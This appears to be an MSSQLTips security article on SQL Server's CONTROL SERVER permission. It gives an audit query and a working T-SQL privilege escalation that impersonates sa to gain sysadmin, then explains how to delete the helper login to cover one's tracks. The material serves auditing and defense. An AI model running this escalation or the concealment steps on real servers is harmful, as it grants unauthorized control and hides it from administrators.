Learn more about SQL Server tools



solving sql server problems for millions of dbas and developers since 2006 attend our next webcast













































   Got a SQL tip?
            We want to know!

Potential Security Exploit Using CONTROL SERVER Permissions in SQL Server

MSSQLTips author K. Brian Kelley By:   |   Read Comments (1)   |   Related Tips: 1 | 2 | 3 | More > Security
Problem

I've been tasked with securing my SQL Servers and I need to write scripts to audit them periodically to ensure they are all right. Recently I learned that I need to audit for CONTROL SERVER rights on any SQL Servers I have that are 2005 or above. In this tip we cover what CONTROL SERVER is, how to detect its use and a possible way to exploit this permission.

Solution

With SQL Server 2005, a new security model was introduced which allows for more granular permissions. Among the things you can now place permissions on is the SQL Server itself (represented by the Server securable). The CONTROL permission means one can do anything that an owner can do with respect to that securable. So if you have CONTROL SERVER permissions, you have the ability to completely control the SQL Server in question.

The reason it's brought up is that if you're just auditing for the traditional SQL Server server roles, like sysadmin, you won't notice this permission. So if I'm an attacker who wants to maintain access to your system, this is what I'd give myself. It gives me the rights I need (or the ability to obtain the rights I need) and it won't show up on most security reports.

Detecting Control Server Permissions

First, you detect this permission using the below query:

SELECT login.name, perm.permission_name, perm.state_desc
FROM sys.server_permissions perm
JOIN sys.server_principals login
ON perm.grantee_principal_id = login.principal_id
WHERE permission_name = 'CONTROL SERVER';

What Can Someone Do With Control Server Permissions

To see what someone with CONTROL SERVER permissions can do, let's first create such a login. Please ensure that you do this on a development or demonstration SQL Server, and not in production:

CREATE LOGIN [LoginWithControl] WITH PASSWORD = 'PickAStr0ng0ne$';
GO GRANT CONTROL SERVER TO [LoginWithControl];
GO

Now that we have the login, connect to SQL Server as that login and attempt to execute these commands. They should fail, which might give one a false sense of security.

/* This will fail. Thankfully. */
EXEC sp_addsrvrolemember 'LoginWithControl', 'SysAdmin';
GO

/* This, too, will fail */
GRANT IMPERSONATE ON LOGIN::sa TO [LoginWithControl];
GO

The trick is to create a login to which you know the password (if you have control of the server, you can create, alter, and delete logins) and then grant that account permission to impersonate a sysadmin role member. By the way, members of the securityadmin server role can execute the very same exploit.

CREATE LOGIN [EscalatedAccount] WITH PASSWORD = 'S0meP4ssword%';

GO GRANT IMPERSONATE ON LOGIN::sa TO [EscalatedAccount];
GO

Now login with this new account. Once you've done so, execute the following query and you'll see that the login with CONTROL SERVER rights has successfully elevated its permissions through this exploit.

EXECUTE AS LOGIN = 'sa';
GO

EXEC sp_addsrvrolemember 'LoginWithControl', 'sysadmin';
GO

EXEC sp_helpsrvrolemember 'sysadmin';
GO

REVERT;
GO

Obviously, you can eliminate the EscalatedAccount login once you are done with what you needed to do and remove yourself from the sysadmin role to cover your tracks. This would prevent being detected for having rights in the ways typically expected.

So be aware of this possible exploit for your SQL Server and take the necessary action to prevent any issues.

Next Steps


Last Update: 2/24/2012


About the author
MSSQLTips author K. Brian Kelley
K. Brian Kelley is a SQL Server author and columnist focusing primarily on SQL Server security.

View all my tips


print tip Print  
Become a paid author





join MSSQLTips for free SQL Server tips     



Learn more about SQL Server tools
Comments and Feedback:
Thursday, March 01, 2012 - 5:42:26 PM - Robert Verell Read The Tip

Good article on the CONTROL permission.  Another thing to note is that by giving DENY to CONTROL at the server level it essentially locks the user out as if you've disabled the login/user.  This is also true at any level for permissions, including database, schema, and object level.  The CONTROL permission also overrides any GRANT you may have on an object, even an explicit GRANT SELECT.



Post a Comment or Question

Keep it clean and stay on the subject or we may delete your comment.
Your email address is not published. Required fields are marked with an asterisk (*)

*Name   *Email Notify for updates



Comments
Get free SQL tips:

*Enter Code refresh code


 
Sponsor Information







Copyright (c) 2006-2014 Edgewood Solutions, LLC All rights reserved
privacy | disclaimer | copyright | advertise | about
authors | contribute | feedback | giveaways | free t-shirt | user groups | community | events | first timer?
Some names and products listed are the registered trademarks of their respective owners.